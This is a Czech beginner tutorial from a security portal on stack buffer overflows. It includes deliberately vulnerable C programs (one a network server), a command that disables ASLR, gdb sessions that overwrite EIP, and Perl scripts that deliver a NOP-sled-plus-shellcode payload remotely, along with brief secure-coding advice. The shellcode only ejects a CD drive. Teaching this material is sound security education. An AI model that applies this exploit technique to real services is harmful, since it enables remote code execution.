Buffer overflow for dummies in perl

Vložil/a Nostur [1], 22 Únor, 2007 - 21:09

- Hacking [2]
- Hacking method [3]
- Programming [4]

Pěkný článek pro začátečníky, kde mají praktické ukázky buffer overflow v PERLu a rady jak se této zranitelnosti při psaní vyhnout.

0x00: Intro
0x01: O cem to je
0x02: Ukazka + provedeni
0x03: Finalni verze
0x04: Bezpecne psani
0x05: Outro

==== 0x00: Intro ====

Mno, takze uz tolikrat ohrany tema buffer overflows, na ktery uz tolik lidi napsalo tolik clanku, treba jako ventYl na bhole, ale ja nemam ani jeden :] takze tady neco malo.

==== 0x01: O cem to je ====

Preteceni bufferu je, jak uz sam nazev pripomina, vlozeni vice dat nez je buffer schopny unest, tedy pokud pouzijeme v c kodu `char buffer[1024]` tak mame nejspis zadelano na problemy, protoze pokud vlozime vice dat jak 1024, stane se nec nepekneho ;], dojde k poruseni pameti a bude mozne vlozit vlastni kod. K ukazce bezpecneho kodu se dostanu pozdeji. V kazdem pripade se budeme snazit prepsat ebp a eip, dva dulezite registry. Pro vice informaci o nich google.

==== 0x02: Ukazka + provedeni ====

Jako prvni vec nejdriv musime vypnout kernel patch randomize_va_space:

[nst@pacman] ~/vulntest > echo 0 > /proc/sys/kernel/randomize_va_space

Pak pouzijeme nebezpecny kod tu:

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int overflow(char *string) {
char buffer[1024];
strcpy(buffer, string);
return 1;
}

int main(int argc, char *argv[]) {
```

```
overflow(argv[1]);
printf("Hotovo...\n");
return 1;
}
```

zkompilujeme:
[nst@pacman] ~/vulntest/ > gcc -o bofvuln bofvuln.c

a zkusime spustit bez parametru. Vysledek by mel byt `Segmentation fault`, coz je spravne. Zkuste ale spustit s nejakymy daty, tedy
[nst@pacman] ~/vulntest/ > ./bofvuln blablabla

Vysledek bude jen `Hotovo...` protoze jsme vlozili min znaku ja 1024. Co se ale stane pokud zkusime spustit s vice znaky, treba 1030? Ano, objevi se segmentation fault, takze nastartujme nas oblibeny debugger gdb na bofvuln:

```
[nst@pacman] ~/vulntest/ > gdb bofvuln
... [ zkraceno ]
This GDB was configured as "i686-pc-linux-gnu"...(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".

(gdb) r
Starting program: /home/nst/vulntest/bofvuln
... [ zkraceno ]
Program received signal SIGSEGV, Segmentation fault.
0xb7f11de0 in strcpy () from /lib/libc.so.6
(gdb) r `perl -e 'print "A"x1030'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/nst/vulntest/bofvuln `perl -e 'print "A"x1030'`
...
Program received signal SIGSEGV, Segmentation fault.
0x08004141 in ?? ()
(gdb) i r ebp
ebp            0x41414141       0x41414141
(gdb) i r eip
eip            0x8004141        0x8004141
(gdb) r `perl -e 'print "A"x1032'
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/nst/vulntest/bofvuln `perl -e 'print "A"x1032'`
...
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) r `perl -e 'print "A"x1028'`BBBB
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/nst/vulntest/bofvuln `perl -e 'print "A"x1028'`BBBB
...
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
```

Jak muzeme videt, eip jsme prepsali na 0x41414141 a ebp na 0x424242, pricemz 41 je hodnota `A` a 42 je hodnota `B`. Je tedy jasne, jak lze buffer

overflow zneuzit. Ted tedy prakticka ukazka s opravdovou exploitaci.
Nebudeme pouzivat command line buffer overflow, tedy preteceni z prikazove radky [shellu], ale remotni, se kterym se setkate mnohem, mnohem casteji.
Takze znovu, tu je nebezpecny c fajl:

```
/* Thx Preddy */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define LISTENPORT 31337
#define BACKLOG 10
#define MSG "Nazdar wannabe haxore."


int handle_reply(char *str)
{

char response[256];

strcpy(response,str);

printf("Klient rika: \"%s\"\n",response);

return 0;

}

int main(int argc, char * argv[]) {
  int sock, conn;
  struct sockaddr_in my_addr, client_addr;
  int sockopt_on = 1;
  int sa_in_size = sizeof(struct sockaddr_in);
  char reply[1024];



   if ((sock = socket(AF_INET, SOCK_STREAM,0)) == -1) {
    perror("socket");
    exit(1);
  }


   memset((char *) &my_addr, 0, sa_in_size);

  my_addr.sin_family = AF_INET;
  my_addr.sin_port = htons(LISTENPORT);
  my_addr.sin_addr.s_addr = htonl(INADDR_ANY);

   if (bind(sock,(struct sockaddr *)&my_addr, sa_in_size) == -1) {
    perror("bind");
    exit(1);
  }

   if (listen(sock,BACKLOG) == -1) {
    perror("listen");
```

```
    exit(1);
  }

  while(1) {
     conn = accept(sock, (struct sockaddr *)&client_addr, &sa_in_size);
    if (conn == -1) {
      perror("accept");
      exit(1);
    }

     printf("got connection from %s\n", inet_ntoa(client_addr.sin_addr));

     send(conn,MSG,strlen(MSG)+1,0);

     recv(conn, reply, 1024, 0);

    handle_reply(reply);

  }

  return 0;
}
```

Ok, zkompilujeme a zkusime spustit, program zacne naslouchat na portu definovanej v LISTENPORT, defaultne tedy 31337. Kdyz se telnetneme na tento port, dostaneme zpravu, a jeji odpoved od nas se pote odesle na server a zobrazi. V tom je prave chyba, v tom, ze buffer pro odpoved je staticky definovany na 256. Takze stejny postup, az na to, ze tentokrat vse pujde pres sit, nejdriv si tedy musime zkusit poslat tolik, aby jsme buffer overflow flaw opravdu overili, napiseme si tedy jednoduchy perl script.:

```
#!/usr/bin/perl
# no strict today o_O
use IO::Socket;

$ip = $ARGV[0];
$payload = "\x41"x260; # Nepripada vam to povedome? :] 0x41 aka A


if(!$ip){
die "Pouziti: sendit.pl <ip>\n"
}

$port = '31337'; #Nezapomente zmenit, pokud jste menili i v remvuln.c
$socket = IO::Socket::INET->new(PeerAddr=>$ip,
                                PeerPort=>$port,
                                Proto=>tcp,
                                Timeout=>'3') || die "[-] Chyba se socketem.\n";


print $socket $payload;

close($socket);
```

Ok, spustime remvuln a pote i sendit.pl a vidime neco jako:
Segmentation fault(core dumped)
pote pres

gdb -c core remvuln
zjistime, ze jsme uspesne prepsali ebp i eip, hura! :D. Pokud se vam nezobrazi core dumped, muzete a) spustit remvuln v gdb, nebo zadat prikaz:

ulimit -c unlimited

====0x03: Finalni verze====

Ok, ted k samotnemu exploitu, budeme potrebovat prepsat eip aby ukazovalo na nas shellkod, a ke zvyseni presnosti, prece jenom ne kazdy system je stejny, pouzijeme NOPsled. NOP vlastne znamena NO Process, a posouva vykonavani k dalsimu registru, takze timto se opravdu sledneme k shellkodu. Konstrukce naseho payload k odeslani bude vypadat asi takto:

[NOPSLED 220] + [SHELLCODE 40] + [EIP 4] = 264

Ok, a jak zjistit kde bude NOPsled? Jednoduse. eip prepiseme znovu Acky, a pak si nechame vyjet oblast pameti a zkusime najit nas NOPsled. Jen pro informaci, NOP vypada takto: \x90 nebo take 0x90, takze vite co hledat :]
Takze nas exploit bude vypadat takto:

Poznamka: Zkousejte dokud se vam eip nepodari prepsat uplne presne. Mente velikost payload v sendit.pl.

```
use IO::Socket;

$ip = $ARGV[0];
$nopsled = "\x90"x220; #nopsled o 220 bytech

# Shellcode ktery otevre cd mechaniku, nasleduje /dev/cdrom symlink
# Written by izik
$shellcode =    "\x6a\x05".             # push $0x5
                "\x58".                 # pop %eax
                "\x31\xc9".             # xor %ecx,%ecx
                "\x51".                 # push %ecx
                "\xb5\x08".             # mov $0x8,%ch
                "\x68\x64\x72\x6f\x6d". # push $0x6d6f7264
                "\x68\x65\x76\x2f\x63". # push $0x632f7665
                "\x68\x2f\x2f\x2f\x64". # push $0x642f2f2f
                "\x89\xe3".             # mov %esp,%ebx
                "\xcd\x80".             # int $0x80
                "\x89\xc3".             # mov %eax,%ebx
                "\xb0\x36".             # mov $0x36,%al
                "\x66\xb9\x09\x53".     # mov $0x5309,%cx
                "\xcd\x80".             # int $0x80
                "\x40".                 # inc %eax
                "\xcd\x80";             # int $0x80

$eip = "\x41\x41\x41\x41";

$payload = $nopsled.$shellcode.$eip; # Samotna konstrukce payloadu, jak byla ukazana vyse


if(!$ip){

die "Potrebuju IP!\n";
}
```

```
$port = '31337';

$socket = IO::Socket::INET->new(PeerAddr=>$ip,
                                PeerPort=>$port,
                                Proto=>tcp,
                                Timeout=>'1') || die "[-] Chyba se socketem o_O\n";


print $socket $payload; # Odeslani payloadu na server
close($socket);
```

Ok, tentokrat uz byste meli mit krasne EIP prepsane na 0x41414141, ted v gdb zadejte prikaz:
x/1000xb $esp
To by vam melo hodit primo na nas NOPsled. Super, uz tam skoro jsme :] Jedine co nam jeste schazi je poradne prepsat eip, takze vezmeme nejakou adresu uprostred nopsledu, u me je to napriklad 0xbf91eb70, zmenime to na little endian escaped: \xbf\x91\xeb\x70, a na to pote zmenime eip v exploit.pl, ale nesmime zapomenout ze se vse bere z leva do prava, takze eip bude \x70\xeb\x91\xbf :] A tra-daa mela by se nam otevrit cdromka, tedy me alespon ano ;]

====0x04: Bezpecne psani====

Pouzivejte ochranu stacku, at uz v unixu nebo windows, za kazdou cenu se vyhnete urcovani velikosti bufferu natvrdo, vzdy jeho velikost dynamicky pocitejte. Snazte se co nejvice validovat vstup, at uz z HTTP aplikaci ci primo pres strlen(). Pro vice info se muzete podivat na OWASP [5].

====0x05: Outro<===

Hoo, tak uz to mame za sebou, vas prvni exploit. Omlouvam se vsem ktere tento clanek nejak urazi, a zaroven vas vsechny zadam: Pokud tu mam nekde chybu, neco spatne napsanyho, spatne vysvetlenyho, postnete nebo mailujte, budu jen vdecny, protoze a) psat neumim dobre, a za b) nesoustredim se na psani, pisu to po autobusech a prestavkach. Thanks you for reading!

~Tomas "Nostur" Kroupa
~nostur.security-portal.cz
~admin@tkroupa.net

URL článku: https://security-portal.cz/clanky/buffer-overflow-dummies-perl

Odkazy:
[1] https://security-portal.cz/users/nostur
[2] https://security-portal.cz/category/tagy/hacking
[3] https://security-portal.cz/category/tagy/hacking-method
[4] https://security-portal.cz/category/tagy/programming
[5] http://www.owasp.org/

CC-BY-SA Security-Portal.cz | secured by paranoid sense | we hack to learn